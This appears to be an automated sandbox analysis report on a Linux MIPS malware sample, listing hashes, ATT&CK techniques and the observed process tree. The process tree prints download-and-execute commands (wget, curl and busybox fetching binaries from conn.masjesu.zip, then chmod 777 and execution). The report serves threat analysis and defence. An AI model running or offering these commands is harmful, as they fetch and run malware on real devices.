154e2d94968c0e85498b18ed2f77542ee6817bc8bef8b56e40e942ba02db54f7

Analysis

max time kernel
119s
max time network
81s
platform
debian-9_mips
resource
debian9-mipsbe-20240418-en
resource tags

arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
25-11-2024 08:56

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

154e2d94968c0e85498b18ed2f77542ee6817bc8bef8b56e40e942ba02db54f7N
Size

10KB
MD5

3187492dbf4cefca810ff7fe29d07400
SHA1

19866471e6a9f4fab633b53a42001e3ab88a5604
SHA256

154e2d94968c0e85498b18ed2f77542ee6817bc8bef8b56e40e942ba02db54f7
SHA512

50c3e4769bb1f1ab69e014486296ef5a527a0379afa3c73199ee588465a586ef86acc07bd216e28eb02e64819aa2539ee2222f9efe13d9160491d7be5bc2a7f0
SSDEEP

96:YHXHrHYRZiLFljXA8KU04RyKHLb3vk2b3oXrogcD+swaLddUL4F4l4nVYsq6ykLo:OC+vk+zcYzzdcki

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmod

pid process

788 chmod
Executes dropped EXE 1 IoCs

Processes:

fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G

ioc pid process

/tmp/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G 789 fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
Reads runtime system information 2 IoCs
Reads data from /proc virtual filesystem.
discovery

Processes:

curlcurl

description ioc process

File opened for reading /proc/sys/crypto/fips_enabled curl
File opened for reading /proc/sys/crypto/fips_enabled curl
System Network Configuration Discovery 1 TTPs 5 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

curlwgetcurlbusyboxwget

pid process

792 curl
716 wget
745 curl
787 busybox
791 wget
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.

Processes:

curl

description ioc process

File opened for modification /tmp/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G curl

pid	process
788	chmod

ioc	pid	process
/tmp/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G	789	fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G

description	ioc	process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

pid	process
792	curl
716	wget
745	curl
787	busybox
791	wget

description	ioc	process
File opened for modification	/tmp/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G	curl

/tmp/154e2d94968c0e85498b18ed2f77542ee6817bc8bef8b56e40e942ba02db54f7N
/tmp/154e2d94968c0e85498b18ed2f77542ee6817bc8bef8b56e40e942ba02db54f7N
1⤵
PID:710
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:713
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
  2⤵
  - System Network Configuration Discovery
  PID:716
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:745
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
  2⤵
  - System Network Configuration Discovery
  PID:787
- /bin/chmod
  chmod 777 fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
  2⤵
  - File and Directory Permissions Modification
  PID:788
- /tmp/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
  ./fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
  2⤵
  - Executes dropped EXE
  PID:789
- /bin/rm
  rm fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G
  2⤵
  PID:790
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
  2⤵
  - System Network Configuration Discovery
  PID:791
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/gBs9wtUvbF3o0SjOQ4DPC1Y7iVqWtr8NLI
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:792

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/fTibODpmVMM8UOxhb1q9woUY1lrBDxOM8G

Filesize
153B

MD5
998368d7c95ea4293237f2320546e440

SHA1
30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

SHA256
533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

SHA512
648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97

Download Submit